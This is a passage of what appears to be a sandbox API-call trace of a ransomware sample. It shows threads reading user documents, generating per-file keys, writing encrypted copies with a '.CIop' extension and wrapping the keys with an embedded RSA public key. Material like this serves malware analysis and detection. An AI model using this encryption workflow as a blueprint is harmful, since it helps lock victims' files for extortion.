(lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\FMVnxBVv7u9Rp.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\fmvnxbvv7u9rp.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x42c [0091.146] WriteFile (in: hFile=0x42c, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x10753, lpNumberOfBytesWritten=0x2f2e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f2e5d8*=0x10753, lpOverlapped=0x0) returned 1 [0091.147] SetFilePointer (in: hFile=0x42c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10753 [0091.147] WriteFile (in: hFile=0x42c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f2e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f2e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.147] SetFilePointer (in: hFile=0x42c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1075a [0091.147] SetErrorMode (uMode=0x1) returned 0x1 [0091.147] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.147] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f2d5b8, pcbBinary=0x2f2d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f2d5b8, pcbBinary=0x2f2d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.147] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f2d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f2d5a0, pcbStructInfo=0x2f2d598 | out: pvStructInfo=0x2f2d5a0, pcbStructInfo=0x2f2d598) returned 1 [0091.147] CryptAcquireContextW (in: phProv=0x2f2d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f2d5a8*=0x613780) returned 1 [0091.148] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613780, dwCertEncodingType=0x1, pInfo=0x6815b0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f2d5b0 | out: phKey=0x2f2d5b0*=0x5c38d0) returned 1 [0091.148] CryptEncrypt (in: hKey=0x5c38d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f2d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f2d5b4*=0x80) returned 1 [0091.148] CryptEncrypt (in: hKey=0x5c38d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613bc0*, pdwDataLen=0x2f2d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613bc0*, pdwDataLen=0x2f2d5a4*=0x80) returned 1 [0091.148] WriteFile (in: hFile=0x42c, lpBuffer=0x613bc0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f2e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613bc0*, lpNumberOfBytesWritten=0x2f2e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.148] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.149] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.149] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.149] CloseHandle (hObject=0x42c) returned 1 [0091.151] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\FMVnxBVv7u9Rp.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\fmvnxbvv7u9rp.docx")) returned 0 Thread: id = 70 os_tid = 0xc28 [0091.170] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.170] lstrcpyW (in: lpString1=0x2f0f368, lpString2="ttYeA5K8BN5b.ppt" | out: lpString1="ttYeA5K8BN5b.ppt") returned="ttYeA5K8BN5b.ppt" [0091.170] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0091.170] SetErrorMode (uMode=0x1) returned 0x1 [0091.170] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\ttYeA5K8BN5b.ppt") returned 102 [0091.170] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\ttYeA5K8BN5b.ppt", dwFileAttributes=0x20) returned 1 [0091.170] StrStrW (lpFirst="ttYeA5K8BN5b.ppt", lpSrch=".CIop") returned 0x0 [0091.170] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\ttYeA5K8BN5b.ppt.CIop") returned 107 [0091.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\ttYeA5K8BN5b.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ttyea5k8bn5b.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434 [0091.171] ReadFile (in: hFile=0x434, lpBuffer=0x6265d0, nNumberOfBytesToRead=0xb616, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x2f0e5e8*=0xb616, lpOverlapped=0x0) returned 1 [0091.171] CloseHandle (hObject=0x434) returned 1 [0091.171] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\ttYeA5K8BN5b.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ttyea5k8bn5b.ppt")) returned 1 [0091.173] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.173] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.173] SetErrorMode (uMode=0x1) returned 0x1 [0091.173] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x613808) returned 1 [0091.175] CryptGenKey (in: hProv=0x613808, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3450) returned 1 [0091.194] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.194] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.194] CryptDestroyKey (hKey=0x5c3450) returned 1 [0091.194] CryptReleaseContext (hProv=0x613808, dwFlags=0x0) returned 1 [0091.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\ttYeA5K8BN5b.ppt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ttyea5k8bn5b.ppt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434 [0091.195] WriteFile (in: hFile=0x434, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0xb616, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x2f0e5d8*=0xb616, lpOverlapped=0x0) returned 1 [0091.196] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb616 [0091.196] WriteFile (in: hFile=0x434, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.196] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb61d [0091.196] SetErrorMode (uMode=0x1) returned 0x1 [0091.196] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.196] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.196] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.196] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x613918) returned 1 [0091.197] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613918, dwCertEncodingType=0x1, pInfo=0x682040, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3510) returned 1 [0091.197] CryptEncrypt (in: hKey=0x5c3510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.197] CryptEncrypt (in: hKey=0x5c3510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6139a0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6139a0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.197] WriteFile (in: hFile=0x434, lpBuffer=0x6139a0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6139a0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.197] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.197] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.198] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.198] CloseHandle (hObject=0x434) returned 1 [0091.199] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\ttYeA5K8BN5b.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ttyea5k8bn5b.ppt")) returned 0 Thread: id = 71 os_tid = 0xc30 [0091.238] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.238] lstrcpyW (in: lpString1=0x2f0f368, lpString2="r873fj.xls" | out: lpString1="r873fj.xls") returned="r873fj.xls" [0091.238] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.238] SetErrorMode (uMode=0x1) returned 0x1 [0091.238] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\r873fj.xls") returned 106 [0091.238] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\r873fj.xls", dwFileAttributes=0x20) returned 1 [0091.238] StrStrW (lpFirst="r873fj.xls", lpSrch=".CIop") returned 0x0 [0091.238] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\r873fj.xls.CIop") returned 111 [0091.238] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\r873fj.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\r873fj.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438 [0091.240] ReadFile (in: hFile=0x438, lpBuffer=0x6265d0, nNumberOfBytesToRead=0xe33c, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesRead=0x2f0e5e8*=0xe33c, lpOverlapped=0x0) returned 1 [0091.240] CloseHandle (hObject=0x438) returned 1 [0091.240] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\r873fj.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\r873fj.xls")) returned 1 [0091.242] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0091.242] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0091.242] SetErrorMode (uMode=0x1) returned 0x1 [0091.242] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x613f78) returned 1 [0091.245] CryptGenKey (in: hProv=0x613f78, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3710) returned 1 [0091.274] CryptExportKey (in: hKey=0x5c3710, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.274] CryptExportKey (in: hKey=0x5c3710, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0091.274] CryptDestroyKey (hKey=0x5c3710) returned 1 [0091.274] CryptReleaseContext (hProv=0x613f78, dwFlags=0x0) returned 1 [0091.275] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\r873fj.xls.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\r873fj.xls.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0091.275] WriteFile (in: hFile=0x440, lpBuffer=0x6265d0*, nNumberOfBytesToWrite=0xe33c, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6265d0*, lpNumberOfBytesWritten=0x2f0e5d8*=0xe33c, lpOverlapped=0x0) returned 1 [0091.276] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe33c [0091.276] WriteFile (in: hFile=0x440, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0091.277] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe343 [0091.277] SetErrorMode (uMode=0x1) returned 0x1 [0091.277] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0091.277] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0091.277] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0091.277] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x613a28) returned 1 [0091.277] CryptImportPublicKeyInfoEx (in: hCryptProv=0x613a28, dwCertEncodingType=0x1, pInfo=0x681c30, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3710) returned 1 [0091.277] CryptEncrypt (in: hKey=0x5c3710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0091.277] CryptEncrypt (in: hKey=0x5c3710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x613808*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x613808*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0091.277] WriteFile (in: hFile=0x440, lpBuffer=0x613808*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x613808*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0091.277] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0091.442] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.442] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.442] CloseHandle (hObject=0x440) returned 1 [0091.444] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\r873fj.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\r873fj.xls")) returned 0 Thread: id = 72 os_tid = 0xc34 [0091.279] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- 